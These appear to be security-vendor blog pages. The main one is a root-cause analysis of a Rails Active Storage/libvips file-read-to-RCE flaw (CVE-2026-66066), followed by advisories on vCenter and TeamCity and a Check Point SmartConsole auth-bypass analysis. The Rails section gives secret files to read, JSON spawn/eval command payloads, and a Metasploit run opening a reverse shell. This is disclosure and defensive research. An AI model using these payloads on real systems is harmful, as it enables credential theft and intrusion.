    rescue ActiveSupport::MessageVerifier::InvalidSignature
      head :not_found
    end
end
    # Returns a Variation instance with the transformations that were encoded by +encode+.
    def decode(key)
      new ActiveStorage.verifier.verify(key, purpose: :variation) # <-- [7]
    end

At [5], Rails verifies the blob ID. At [6] and [7], it separately verifies the variation key and applies it to that blob. There is no cross-check between the two signed values. An attacker can copy a variation_key from any representation URL emitted by the same application and replay it against the signed ID of a newly created direct-upload blob. The file-read stage does not require secret_key_base.

The Vips pipeline leaves decoder selection to libvips

Active Storage then hands the tempfile path to image_processing. The loader(page: 0) call below can be misleading. It stores options for whichever loader libvips chooses later rather than choosing a loader itself:

def process(file, format:)
  processor.
	source(file).
	loader(page: 0). # <-- [8]
	convert(format).
	apply(operations). # <-- [9]
	call
end
def processor
  ImageProcessing.const_get(ActiveStorage.variant_processor.to_s.camelize)
end
def operations
  transformations.each_with_object([]) do |(name, argument), list|
	if ActiveStorage.variant_processor == :mini_magick
	  validate_transformation(name, argument) # <-- [10]
	end
	if name.to_s == "combine_options"
	  raise ArgumentError, <<~ERROR.squish
		Active Storage's ImageProcessing transformer doesn't support :combine_options,
		as it always generates a single command.
	  ERROR
	end
	if argument.present?
	  list << [ name, argument ] # <-- [11]
	end
  end
end

At [8], no decoder has been named yet. At [9], Rails forwards the signed transformation list into image_processing. For RCE, [10] and [11] matter because :mini_magick transformations pass through validate_transformation, while Vips transformations do not receive the same method-name validation.

In image_processing 1.14.0, the path later reaches Vips::Image.new_from_file:

def self.load_image(path_or_image, loader: nil, autorot: true, **options)
	if path_or_image.is_a?(::Vips::Image)
	  image = path_or_image
	else
	  path = path_or_image
	  if loader
		image = ::Vips::Image.public_send(:"#{loader}load", path, **options)
	  else
		options = Utils.select_valid_loader_options(path, options)
		image = ::Vips::Image.new_from_file(path, **options) # <-- [12]
	  end
	end
	image = image.autorot if autorot && !options.key?(:autorotate)
	image
  end

Because loader: remains nil, [12] leaves decoder selection to libvips's file sniffers.

libvips and libmatio disagree about the MAT header

In libvips 8.16.1, matload is marked as untrusted. Vulnerable Active Storage releases did not block untrusted operations before processing attacker-controlled uploads:

static void
vips_foreign_load_mat_class_init(VipsForeignLoadMatClass *class)
{
	/* ... omitted: class initialization ... */

	operation_class->flags |= VIPS_OPERATION_UNTRUSTED; // <-- [13]

	foreign_class->suffs = vips__mat_suffs;

	load_class->is_a = vips__mat_ismat; // <-- [14]

The entire libvips MAT sniffer is a ten-byte prefix check:

int
vips__mat_ismat(const char *filename)
{
	unsigned char buf[15];

	if (vips__get_bytes(filename, buf, 10) == 10 &&
		vips_isprefix("MATLAB 5.0", (char *) buf)) // <-- [15]
		return 1;

	return 0;
}

At [13], libvips marks matload as untrusted. At [14], it registers vips__mat_ismat as the loader's sniffer. At [15], a file only needs to begin with MATLAB 5.0 for libvips to select matload. A genuine MAT 7.3 file begins with MATLAB 7.3 MAT-file, so it fails this check.

In libmatio 1.5.28, the descriptive text is not the format selector. libmatio reads the fixed version field at bytes 124 and 125:

enum mat_ft
{
    MAT_FT_MAT73 = 0x0200, /**< @brief Matlab version 7.3 file */ // <-- [16]
    MAT_FT_MAT5 = 0x0100,  /**< @brief Matlab version 5 file   */
    MAT_FT_MAT4 = 0x0010,  /**< @brief Matlab version 4 file   */
    MAT_FT_UNDEFINED = 0   /**< @brief Undefined version       */
};

At [16], libmatio defines 0x0200 as the MAT 7.3 format identifier.

Mat_Open(const char *matname, int mode)
{
    FILE *fp = NULL;
    mat_int16_t tmp, tmp2;
    mat_t *mat = NULL;
    size_t bytesread = 0;

    /* ... omitted: file opening and allocation ... */

    bytesread += fread(mat->header, 1, 116, fp);
    mat->header[116] = '\0';
    bytesread += fread(mat->subsys_offset, 1, 8, fp);
    bytesread += 2 * fread(&tmp2, 2, 1, fp);
    bytesread += fread(&tmp, 1, 2, fp);

    if ( 128 == bytesread ) {
        /* v5 and v7.3 files have at least 128 byte header */
        mat->byteswap = -1;
        if ( tmp == 0x4d49 )
            mat->byteswap = 0;
        else if ( tmp == 0x494d ) {
            mat->byteswap = 1;
            Mat_int16Swap(&tmp2);
        }

        mat->version = (int)tmp2; // <-- [17]
        if ( (mat->version == 0x0100 || mat->version == 0x0200) && -1 != mat->byteswap ) {
            mat->bof = ftello((FILE *)mat->fp);
            if ( mat->bof == -1L ) {
                free(mat->header);
                free(mat->subsys_offset);
                free(mat);
                fclose(fp);
                Mat_Critical("Couldn't determine file position");
                return NULL;
            }
            mat->next_index = 0;
        } else {
            mat->version = 0;
        }
    }

At [17], Mat_Open stores the two-byte version field read from bytes 124 and 125 in mat->version. This is separate from the descriptive text that libvips already accepted at the beginning of the file.

static int
ReadData(mat_t *mat, matvar_t *matvar)
{
    if ( mat == NULL || matvar == NULL || mat->fp == NULL )
        return MATIO_E_BAD_ARGUMENT;
    else if ( mat->version == MAT_FT_MAT5 )
        return Mat_VarRead5(mat, matvar);
#if defined(MAT73) && MAT73
    else if ( mat->version == MAT_FT_MAT73 )
        return Mat_VarRead73(mat, matvar); // <-- [18]
#endif
    else if ( mat->version == MAT_FT_MAT4 )
        return Mat_VarRead4(mat, matvar);
    return MATIO_E_FAIL_TO_IDENTIFY;
}

At [18], ReadData dispatches MAT_FT_MAT73 into the HDF5-backed reader. A crafted file can therefore say MATLAB 5.0 to libvips while still entering MAT 7.3 handling in libmatio. HDF5 userblocks make this possible: the crafted file can place a valid HDF5 superblock after a 512-byte leading block that contains the spoofed MAT header.

HDF5 datasets can use an external backing file, including a caller-chosen path and byte offset. libmatio eventually asks HDF5 to read the dataset:

static int
Mat_H5ReadData(hid_t dset_id, hid_t h5_type, hid_t mem_space, hid_t dset_space, int isComplex, void *data)
{
    herr_t herr;

    if ( !isComplex ) {
        herr = H5Dread(dset_id, h5_type, mem_space, dset_space, H5P_DEFAULT, data); // <-- [19]
        if ( herr < 0 ) {
            return MATIO_E_GENERIC_READ_ERROR;
        }

Before [19], this read path does not check H5Pget_external_count(). HDF5 resolves the external storage entry and copies bytes from the attacker-selected file into the MAT variable's data buffer. libvips then treats those bytes as image pixels and Active Storage returns them in the rendered representation.

The header mismatch also leaves a useful content signature. In the first 128 bytes, the file claims MATLAB 5.0 at bytes 0 through 9, but carries the MAT 7.3 version and endian tag at bytes 124 through 127. A normal MAT 5 file has the text but not the MAT 7.3 tag. A normal MAT 7.3 file has the tag but not the text.

Why variants are not required

A returned representation is the easiest way to get bytes back, but the advisory states that generating variants is not a separate requirement. Active Storage can also reach Vips::Image.new_from_file during image analysis after a blob is attached. Rails's forensic repository documents a MATLAB_empty variant in which libmatio reads external bytes while deriving an empty array's dimensions, so those bytes can surface as width and height instead of pixel values. That route does not depend on preserving pixel values.

Representation is one way to trigger the loader. That route needs a direct-upload blob, a representation trigger, and a way to see the image that comes back. The analyzer path can reach the same loader without returning a variant, although the attacker still needs some way to observe the resulting metadata or logs. For exploitation, the returned PNG is more useful because it carries far more data per request.

Why the patch works

The relevant v8.0.5 to v8.0.5.1 diff does not add another content-type check. Instead, it loads a new Active Storage Vips initializer from the analyzer path and disables the libvips operations that libvips itself already marks as untrusted:

diff --git a/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb b/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb
index 7e682b3b75fda..e262e1a842aa4 100644
--- a/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb
+++ b/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb
@@ -2,0 +3,2 @@
+require "active_storage/vips"
+
diff --git a/activestorage/lib/active_storage/vips.rb b/activestorage/lib/active_storage/vips.rb
new file mode 100644
index 0000000000000..16b2ddbfbaad1
--- /dev/null
+++ b/activestorage/lib/active_storage/vips.rb
@@ -0,0 +23,20 @@
+if ActiveStorage::VIPS_AVAILABLE
+  begin
+    # image_processing 2.0 calls Vips.block_untrusted(true) itself when it loads, so it has to load
+    # before the lines below. Leaving it to load later, when the transformer first asks for it,
+    # would disable the loaders again after an application's initializers had re-enabled them.
+    require "image_processing/vips"
+  rescue LoadError
+    # image_processing is only needed to generate variants, not to analyze blobs.
+  end
+
+  unless Vips.respond_to?(:block_untrusted) # <-- [20]
+    raise <<~ERROR.squish
+      libvips's unfuzzed operations are not safe to use with untrusted content, and Active Storage
+      cannot disable them. Disabling them requires libvips 8.13 or later and ruby-vips 2.2.1 or
+      later. Please upgrade libvips and ruby-vips, or remove the ruby-vips gem from your Gemfile.
+    ERROR
+  end
+
+  Vips.block_untrusted(true) # <-- [21]
+end

Active Storage's engine loads the Vips analyzer during initialization, so the new require "active_storage/vips" runs during boot rather than waiting for a later representation request. At [20], patched Active Storage refuses to boot if the loaded ruby-vips/libvips pair does not expose the blocking API it needs. At [21], it blocks those operations globally. Because matload is marked VIPS_OPERATION_UNTRUSTED, libvips skips it before the crafted file can reach libmatio.

From file read to code execution

The file read can recover arbitrary files readable by the Rails worker. On Linux, /proc/self/environ is a useful first target because it may contain SECRET_KEY_BASE, RAILS_MASTER_KEY, or service credentials, but the file-read primitive itself is not Linux-specific. Procfs is only a convenient route to Rails signing material. An exploit that relies only on /proc/self/environ will miss applications that keep secret_key_base in encrypted credentials or legacy secrets.yml files. Useful read targets in those cases include config/master.key, encrypted credential files, and legacy secrets.yml paths. Before using a candidate secret, an exploit can check it against a genuine signed Active Storage blob ID.

Once an attacker has recovered secret_key_base and derived the Active Storage verifier key, they can sign a new variation instead of replaying an existing one. Ethiack's write-up uses instance_eval for this step. We confirmed that the same Vips-side transformation validation gap also accepts the following JSON-compatible shapes:

{"send":["spawn","/bin/sh","-c","id"]}
{"send":["eval","File.write('/tmp/kr2s', %x{id})"]}

In image_processing 1.14.0, Chainable#apply invokes the attacker-controlled transformation name on the builder:

def apply(operations)
  operations.inject(self) do |builder, (name, argument)|
	if argument == true || argument == nil
	  builder.public_send(name)
	elsif argument.is_a?(Array)
	  builder.public_send(name, *argument) # <-- [22]
	elsif argument.is_a?(Hash)
	  builder.public_send(name, **argument)
	else
	  builder.public_send(name, argument)
	end
  end
end

At [22], a transformation named send reaches the builder's public send method. The first array element becomes a second method dispatch, which can invoke private Kernel#spawn or Kernel#eval. Execution occurs while the pipeline is being built, before normal image operations run. In our tests, the representation request returned HTTP 500 because spawn or eval returns a non-builder value after the payload has already executed.

This RCE path does not depend on a Marshal object gadget. We validated it against Rails 8.0.5 configured with config.active_support.message_serializer = :json. We also tested the same structure on older Rails branches whose signed messages used Marshal serialization, but the attacker-controlled data remains a Hash, Array, and String structure rather than a deserialization gadget.

The MAT/HDF5 file read and the missing Vips-side transformation validation are distinct parts of the RCE chain. Rails pull request rails/rails#56995 discusses the same Vips-side validation gap. CVE-2026-66066 matters here because the file read can recover the signing material needed to sign a malicious variation for the built-in representation route.

Exploitation

Our Metasploit module follows the representation-based chain described above. It creates crafted direct-upload blobs, confirms the file read against /proc/version, recovers and validates Rails signing material, signs an ImageProcessing variation, and triggers either send/spawn for command payloads or send/eval for native Ruby payloads.

The module uses the returned PNG representation instead of the narrower MATLAB_empty metadata channel because the PNG path returns larger chunks directly in the HTTP response and gives the module a read channel it can validate automatically during secret recovery. A standalone proof of concept targeting an application that only analyzes uploads could reasonably prefer MATLAB_empty, but that path depends on an application-specific way to observe width and height metadata or logs. For code execution, the module uses send/spawn and send/eval, which fit Metasploit command and Ruby payloads directly.

In the lab run below, the representation used by the module resized the image, so the module selected a 20x20 sharpened text-read layout and recovered 180 bytes per request. It then recovered SECRET_KEY_BASE from /proc/self/environ, signed a JSON variation, and opened a shell as the Rails process user:

msf6 > use exploit/multi/http/rails_activestorage_vips_rce
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(multi/http/rails_activestorage_vips_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/rails_activestorage_vips_rce) > set RPORT 3003
RPORT => 3003
msf6 exploit(multi/http/rails_activestorage_vips_rce) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf6 exploit(multi/http/rails_activestorage_vips_rce) > run

[*] Running automatic check ("set AutoCheck false" to disable)
[+] Selected the 20x20 sharpened text-read layout (180 bytes per request)
[+] The target is vulnerable. Recovered /proc/version with the 20x20 sharpened layout
[*] Reading up to 65536 bytes from /proc/self/environ
[*] Detected SHA1 Active Support verifier signatures
[*] Detected the Active Support json message serializer
[*] Validated SHA256 key derivation against a signed blob ID
[*] Stored recovered environment bytes in: /home/cryptocat/.msf4/loot/20260731004237_default_127.0.0.1_rails.process.en_047300.bin
[+] Recovered SECRET_KEY_BASE from /proc/self/environ
[*] Triggering the ImageProcessing send/spawn variation using a verifier key derived from /proc/self/environ
[*] Command shell session 1 opened

msf6 exploit(multi/http/rails_activestorage_vips_rce) > sessions -i 1 -c id
[*] Running 'id' on shell session 1 (127.0.0.1)
uid=1000(rails) gid=1000(rails) groups=1000(rails)

The SHA1 and SHA256 lines refer to separate Rails settings. The first is the MessageVerifier digest used on the signed blob ID. The second is the key-generator digest used to derive the Active Storage key.

Ethiack's published  1x1 oracle is byte-exact because interpolation has no adjacent pixel values to mix into the result. Our module also tries larger square uint8 layouts with /dev/zero columns between file bytes. With those columns, it can invert image_processing 1.14.0's vertical sharpen pass and recover more text per request. We still validate every recovered secret against a genuine Active Storage signature because the larger transport is not byte-exact for arbitrary binary data.

Remediation

For remediation guidance, see Rapid7's Emergent Threat Response blog and the Rails security advisory. The fixed Active Storage releases block untrusted libvips operations during initialization and require libvips 8.13 or later plus ruby-vips 2.2.1 or later when ruby-vips is installed.

KindaRails2Shell: CVE-2026-66066, Critical Arbitrary File Read and Possible Remote Code Execution in Ruby on Rails

Overview

On July 29, 2026, the Ruby on Rails project published a security advisory for CVE-2026-66066, a critical vulnerability affecting Active Storage image processing when used in conjunction with the libvips image processing library. The vulnerability has a CVSSv4 score of 9.5 and is classified as Initialization of a Resource with an Insecure Default (CWE-1188). An unauthenticated attacker may be able to leverage CVE-2026-66066 and read files accessible to the Rails application process, potentially exposing secrets that could enable remote code execution (RCE) or access to connected systems.

An application is affected when it uses libvips for Active Storage image processing and accepts image uploads from untrusted users. Rails notes that generating image variants is not a separate requirement for exposure. Vips is the default Active Storage variant processor for applications configured with Rails 7.0 or later defaults. According to Ethiack, only the Vips processor is affected; applications using Magick are not affected through the reported vector.

As of July 30, 2026, Rapid7 is not aware of exploitation in the wild. Ethiack and GMO Flatt Security, who independently reported the vulnerability, have withheld proof-of-concept code and details of the full attack chain. Public code claiming to exploit CVE-2026-66066 exists, but it is unclear how closely it corresponds to the full attack chain reported privately to Rails. According to the Rails Security Announcement, additional details will be disclosed no later than August 28, 2026. Rapid7 recommends remediating affected applications on an urgent basis, outside of normal patch cycles.

Update #1: On July 31, 2026, Rails published technical details and forensic tools earlier than its planned August 28 disclosure date after several researchers reverse-engineered the attack and published proof-of-concept code.

Technical overview

libvips uses operations to load and save image formats, including operations backed by third-party libraries. Some are marked "unfuzzed" or "untrusted" because they are unsafe for untrusted content. According to Rails, Active Storage did not disable these operations before processing user-supplied files, which may allow a crafted upload to trigger an unsafe operation and disclose files readable by the application.

The attack details published by Rails describe a chain in which an attacker creates a blob through Active Storage's direct-upload endpoint with a false image content type and obtains a genuine signed variation_key from a page that renders an Active Storage representation. A crafted file identifies itself to libvips as a MATLAB level 5 file but to libmatio as a MAT 7.3 HDF5 container. HDF5's External File List then reads bytes from an attacker-selected path, which are rendered as image pixels and returned in the resulting variant. This known chain also requires the deployed libvips build to include the matload operation.

For this documented chain, the Active Storage direct-upload route must be reachable. When Active Storage routes are mounted, the direct-upload route is present by default even if the application's own interface does not use direct uploads. Rapid7 testing found that ordinary server-side attachment does not satisfy this chain because Rails re-identifies the crafted file as MATLAB data before variant processing.

The arbitrary file-read stage does not require knowledge of secret_key_base or a forged variation key. Rapid7 also verified an RCE escalation in which recovered Rails signing material is used to forge an ImageProcessing 1.x variation; this path does not require Marshal deserialization.

The Rails patch that remediates CVE-2026-66066, disables untrusted operations during Active Storage initialization. When ruby-vips is installed, patched versions prevent the application from starting if ruby-vips or libvips is too old to support that protection.

On August 3, 2026, Rapid7 Labs published a full root cause technical analysis of CVE-2026-66066, detailing the full RCE chain and accompanying metasploit module.

Mitigation guidance

Organizations running affected Ruby on Rails applications should upgrade to a fixed Active Storage release and ensure libvips is 8.13 or later. Updating Rails or Active Storage alone is not sufficient when an older libvips version is installed.

Rails has published forensic tools to assess whether an application was vulnerable and search Active Storage data for crafted files. Because scheduled cleanup of unattached blobs may remove evidence, Rapid7 recommends beginning forensic assessment promptly.

The Rails advisory identifies patched Active Storage releases 7.2.3.2, 8.0.5.1, and 8.1.3.1. The fixed Rails releases are:

Rails branch

Affected versions

Fixed version

Rails 7.x

7.0.0 through 7.2.3.1

7.2.3.2

Rails 8.0.x

8.0.0 through 8.0.5

8.0.5.1

Rails 8.1.x

8.1.0 through 8.1.3

8.1.3.1

The Rails advisory lists all Active Storage releases earlier than 7.2.3.2 as affected, which includes releases before Rails 7.0. Ethiack reports that Rails 6.0.0 through 6.1.7.10 may be affected when Active Storage is configured to use Vips, and Rapid7 has verified that the known attack works on the Rails 6.0 and 6.1 branches under that non-default configuration. Rails has not published fixed releases for branches earlier than 7.2, so affected applications on those branches should migrate to a supported fixed branch or apply the applicable workaround below.

When ruby-vips is installed, organizations should ensure it is 2.2.1 or later. Rails advises affected organizations to replace secret_key_base and other secrets accessible to the application process, including the Rails master key and the credentials it decrypts, storage service credentials, database credentials, and third-party service tokens or keys. Replacing secret_key_base expires active sessions and affects encrypted and signed cookies, signed global IDs, and Active Storage URLs.

As a temporary workaround on libvips 8.13 or later, organizations can set VIPS_BLOCK_UNTRUSTED or, with ruby-vips 2.2.1 or later, call Vips.block_untrusted(true) from an initializer. For libvips versions earlier than 8.13, Rails states that the only workaround is to remove the libvips dependency.

For the latest mitigation guidance, please refer to the Ruby on Rails security advisory.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-66066 with vulnerability checks expected to be available in the July 31 content release. 

Updates

  • July 30, 2026: Initial publication.

  • July 31, 2026: Updated with technical details and forensic resources published by Rails, and clarified the affected version range.

  • August 3, 2026: Added a Technical analysis section for the new Rapid7 Analysis.

Critical VMware vCenter Vulnerabilities Allow Authentication Bypass and Remote Code Execution (CVE-2026-59309, CVE-2026-59310)

Overview

On July 29, 2026, Broadcom published security advisory VMSA-2026-0006 addressing multiple vulnerabilities in several VMWare products. Included in the advisory are two critical remotely exploitable vulnerabilities affecting VMware vCenter Server: CVE-2026-59309 and CVE-2026-59310. Both vulnerabilities carry CVSSv3.1 base scores of 9.8 and can be exploited by unauthenticated attackers with network access to a vulnerable vCenter Server.

CVE

CVSSv3.1

Description Summary

CVE-2026-59309

9.8 (Critical)

An authentication bypass vulnerability in the VMware Directory Service of vCenter that could allow a remote attacker to bypass authentication and gain unauthorized access to the vCenter management plane.

CVE-2026-59310

9.8 (Critical)

A directory traversal vulnerability in the vCenter Syslog server that could allow an attacker with network access to execute arbitrary code.

VMware vCenter Server provides centralized management for VMware vSphere environments, allowing administrators to manage ESXi hosts, virtual machines, resource allocation, availability, and other virtualization infrastructure from a central control plane. Compromise of vCenter can therefore provide an attacker with significant control over the virtualized environment and its associated workloads.

Both vulnerabilities are particularly significant because exploitation does not require prior authentication. However, an attacker must have network access to the affected vCenter services. Management interfaces such as vCenter are commonly restricted to internal or dedicated management networks, which can reduce exposure to internet-based attacks but does not mitigate the risk from an attacker who has already established access to an organization’s network.

At the time of publication, there is no known evidence of exploitation or scanning in the wild for either CVE-2026-59309 or CVE-2026-59310. There is also currently no known public proof-of-concept exploit code. However, vCenter Server has appeared on CISA’s KEV list ten times in the past for other vulnerabilities, so it is known that attackers target critical issues in this product. Customers running affected VMWare products are urged to patch on an urgent basis before exploitation in-the-wild occurs.

Mitigation guidance

Organizations running VMware vCenter Server should prioritize applying the updates identified by Broadcom in VMSA-2026-0006 on an urgent basis. Broadcom states that there are no workarounds for CVE-2026-59309 or CVE-2026-59310, making vendor-provided updates the primary remediation.

VMware Product

Component

Version

Running On

Fixed Version

VMware Cloud Foundation,

VMware vSphere Foundation

vCenter

9.1.x.x

Any

9.1.0.0300

VMware Cloud Foundation,

VMware vSphere Foundation

vCenter

9.0.x.x

Any

9.0.2.0100

VMware vCenter

N/A

8.0

Any

8.0 U3k

VMware Cloud Foundation 

vCenter

5.x

Any

Async patch to 8.0 U3k

VMware Telco Cloud Platform

vCenter

3.0, 4.x, 5.0.x, 5.1.x

Any

Refer to KB449886

VMware Telco Cloud Infrastructure 

vCenter

3.0

Any

Refer to KB449886


For the latest mitigation guidance, please refer to the vendor advisory.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-59309 and CVE-2026-59310 on VMware vCenter Server, Cloud Foundation, and vSphere Foundation products with unauthenticated vulnerability checks expected to be available in the July 30 content release.

Updates

  • July 30, 2026: Initial publication.

  • July 30, 2026: Updated customers section to reflect availability of vulnerability checks.
  • August 4, 2026: Updated CVE links.

CVE-2026-63077: Critical unauthenticated remote code execution in JetBrains TeamCity

Overview

On July 27, 2026, JetBrains published a security advisory for CVE-2026-63077, a critical unauthenticated vulnerability affecting all versions of TeamCity On-Premises. The issue is classified as deserialization of untrusted data and has a CVSS score of 9.8. An unauthenticated remote attacker with HTTP(S) access to a TeamCity server can exploit the agent polling protocol to bypass authentication checks and execute arbitrary operating system commands with the privileges of the TeamCity server process.

In the blog post that JetBrains shared in tandem with CVE publication, they stated that attackers who exploit the vulnerability can read stored credentials and compromise CI/CD pipeline integrity. The impact of successful exploitation depends on the operating system privileges granted to the TeamCity server process. At the time of disclosure, JetBrains stated that they were not aware of active exploitation. On August 5, CISA added CVE-2026-63077 to its KEV catalog.

Technical analysis

On August 7, 2026, Rapid7 Labs published a full root cause technical analysis of CVE-2026-63077. Our analysis details the vulnerability and how an unauthenticated attacker can exploit the vulnerability to achieve remote code execution on a vulnerable TeamCity server.

Mitigation guidance

Organizations running TeamCity On-Premises should urgently prioritize updating to a fixed version, either via the TeamCity UI update workflow or by downloading and installing one of the following fixed versions:

  • TeamCity 2025.11.7

  • TeamCity 2026.1.3

All versions of TeamCity On-Premises are affected. Organizations that cannot upgrade can apply JetBrains' security patch plugin to TeamCity 2017.1 and later. The plugin addresses only CVE-2026-63077; JetBrains recommends upgrading to a fixed version to receive other security updates. TeamCity Cloud customers do not need to take action.

In addition to patching, as a defense-in-depth measure, Rapid7 recommends restricting network access to TeamCity servers to only users and systems that must have it. For the latest mitigation guidance, please refer to the JetBrains security advisory.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-63077 with a vulnerability check available in the July 28 content release.

Updates

  • July 29, 2026: Initial publication.

  • August 5, 2026: Updated to reflect the addition of CVE-2026-63077 to CISA KEV.

  • August 7, 2026: Added link to the Rapid7 Analysis.

Rapid7 Analysis: Check Point SmartConsole Authentication Bypass (CVE-2026-16232)

Overview

On July 22, 2026, Check Point published a security advisory for CVE-2026-16232, an authentication bypass in the SmartConsole login process affecting Security Management Server and Multi-Domain Security Management Server (MDS). By leveraging CVE-2026-16232, an unauthenticated attacker can obtain an application login token, use this token to log in through SmartConsole with full administrator privileges, and modify the security policy or security configuration. Exploitation requires network access to the Management Server and for a Trusted Clients configuration that does not restrict GUI clients, which in our testing was a default setting. This vulnerability was reported as being exploited in the wild as a zero-day vulnerability at the time of disclosure.

Our analysis finds that the root cause of CVE-2026-16232 is a broken trust boundary in the application authentication path. A vulnerable server accepts an attacker-supplied Secure Internal Communication (SIC) distinguished name (DN) as the identity of a remote application instead of binding that identity to the authenticated remote peer certificate DN returned by getCertificateDnName(). An attacker can read the management server's own SIC DN during the unauthenticated bootstrap communication, replay that DN in a forged application certificate bind, obtain an application token, and then ask the legacy management service to mint a new SmartConsole single sign-on (SSO) ticket.

Rapid7 Labs has reproduced CVE-2026-16232 against affected R81.20 and R82.10 versions of the target software. Our proof-of-concept (PoC) exploit script can be used to successfully validate if a target is either vulnerable or patched. The vendor supplied patches have been confirmed to successfully remediate the vulnerability and prevent our PoC script from succeeding.

Analysis

SmartConsole is the desktop client administrators use to manage Check Point policy and configuration. A SmartConsole login crosses two generations of management plumbing over the network.

The first is the legacy FWM/CPMI service, listening on TCP 18190. It uses SIC, Check Point's certificate-based trust mechanism for communication between management components. Once the SIC bootstrap completes, FWM exchanges length-prefixed “FwSet” objects, a Check Point name/value encoding used by older management services.

The second is the newer CPM/DLE service. This exposes SOAP services over HTTPS on TCP 19009 under the URI path /cpmws/. SmartConsole uses these services for login, queries, and object operations. Authenticated requests carry DLESESSIONID and CLIENTSESSIONID header values to prove a client is authenticated.

The exploit for CVE-2026-16232 uses both the FWM/CPMI and CPM/DLE services. It first uses the native FWM/CPMI protocol to claim an application identity and obtain an application token via the root cause of the vulnerability. It then uses the accepted native application session to ask FWM for a SmartConsole SSO ticket, redeems the ticket over CPM's SOAP API, and receives a SmartConsole session.

The diagram below shows the flow for exploiting CVE-2026-16232.

figure1.png

Figure 1: Flow diagram of exploitation.

The application authentication boundary

The Java login service contains a bridge for FWM application based logins. The authenticateUser method splits the supplied username into an application name and a SIC DN, then passes both into cpApplicationAuthentication()

// Source: work/t146/mgmt_wrapper.tgz:fw1/cpm-server/dleserver.jar.full!/com/checkpoint/management/dleserver/coresvc/internal/LoginSvcImpl.class

private AuthenticationResponse authenticateUser(AuthenticationInfoBase authenticationInfoBase, String string, String string2, CPUUID cPUUID, boolean bl, LockAdminInfoContainer lockAdminInfoContainer, ExternalLoginInfo externalLoginInfo) throws AuthenticationFailureLoginException, LicenseExpiredLoginException {

// ...

} else if (authenticationInfoBase instanceof FwmAuthenticationInfo) {
    object2 = authenticationInfoBase.getUsername();
    int n = ((String)object2).toLowerCase().lastIndexOf("cn=");
    object = (FwmAuthenticationInfo)authenticationInfoBase;
    if (FwmLoginType.APPLICATION.equals((Object)object.getFwmLoginType())) {
        String suppliedSicDn = ((String)object2).substring(n); // <-- [1]
        String applicationName = ((String)object2).substring(0, n - 1); // <-- [2]
        TdLog.debug((CPLogger)c, (String)"Authenticating FwmAuthenticationInfo on behalf of application {}", (Object[])new Object[]{applicationName});
        CPApplicationAuthenticationInfo cPApplicationAuthenticationInfo = new CPApplicationAuthenticationInfo();
        cPApplicationAuthenticationInfo.setUsername(applicationName);
        this.cpApplicationAuthentication((AuthenticationInfoBase)cPApplicationAuthenticationInfo, suppliedSicDn, cPUUID);// <-- [3]
        authenticationInfoBase.setUsername(applicationName);

At [1] and [2], the login service treats attacker-controlled input as both the application name and the claimed SIC identity. At [3], the untrusted DN claim reaches the remote application authenticator as a separate argument.

The method that consumes that identity is authenticateRemoteApplication(). This method prefers the attacker-supplied DN whenever one is present.

// Source: work/t146/mgmt_wrapper.tgz:fw1/cpm-server/dleserver.jar.full!/com/checkpoint/management/dleserver/coresvc/internal/LoginSvcImpl.class

private void authenticateRemoteApplication(String applicationName, String suppliedSicDn) throws AuthenticationFailureLoginException {
  String effectiveSicDn = suppliedSicDn == null
          ? this.j.getCertificateDnName()
          : suppliedSicDn; // <-- [1]
  CpAssert.cpassert(StringUtils.isNotEmpty(effectiveSicDn), "User DN name is not set");
  if (effectiveSicDn.equals("CN=siclocal")) {
    this.authenticateLocal(applicationName);
  } else {
    this.t.identifyDomainForRemoteLogin(effectiveSicDn); // <-- [2]
  }
}

The problem is at [1]. The vulnerable code collapses the untrusted claim and the authenticated peer identity into one variable. If suppliedSicDn is present, the code never uses getCertificateDnName() at all. The method then uses the attacker-controlled value at [2] to identify the login domain. In practice, a remote client can copy the management server's own SIC DN into :DN and authenticate as a remote application without presenting a client certificate for that identity.

What the patch changes

Our analysis compares the decompiled com.checkpoint.management.dleserver.coresvc.internal.LoginSvcImpl class from a vulnerable “R81.20 Jumbo Hotfix Take 146” against the patched “R81.20 Jumbo Hotfix Take 158”.

private void authenticateRemoteApplication(String applicationName, String suppliedSicDn)
         throws AuthenticationFailureLoginException {
-    String effectiveSicDn = suppliedSicDn == null
-        ? this.j.getCertificateDnName()
-        : suppliedSicDn;                                      // <-- [1]
-    CpAssert.cpassert(StringUtils.isNotEmpty(effectiveSicDn), "User DN name is not set");
+    String effectiveSicDn;
+    String certificateDn = this.j.getCertificateDnName();
+    String remoteIp = this.j.getRemoteIpAddress();
+    boolean localSic = IpUtils.isLoopback(remoteIp) && "CN=siclocal".equals(certificateDn);
+    if (localSic && suppliedSicDn != null) {
+        effectiveSicDn = suppliedSicDn;                       // <-- [2]
+    } else {
+        effectiveSicDn = certificateDn;                       // <-- [3]
+        boolean mismatch = suppliedSicDn != null
+            && StringUtils.isNotEmpty(certificateDn)
+            && !suppliedSicDn.equalsIgnoreCase(certificateDn);
+        if (mismatch) {
+            TdLog.error(c,
+                "Rejecting caller-supplied SIC name that does not match the client certificate DN for application {} from {}",
+                applicationName, remoteIp);
+            throw new AuthenticationFailureLoginException(
+                "Remote authentication failed for peer " + remoteIp + "."); // <-- [4]
+        }
+    }
+    if (Strings.isNullOrEmpty(effectiveSicDn)) {
+        TdLog.error(c, "Remote application {} login rejected: no authenticated SIC identity",
+            applicationName);
+        throw new AuthenticationFailureLoginException(
+            "Remote authentication failed for peer " + remoteIp + ".");     // <-- [5]
+    }
     if (effectiveSicDn.equals("CN=siclocal")) {
         this.authenticateLocal(applicationName);
     } else {
         this.t.identifyDomainForRemoteLogin(effectiveSicDn);
     }
 }

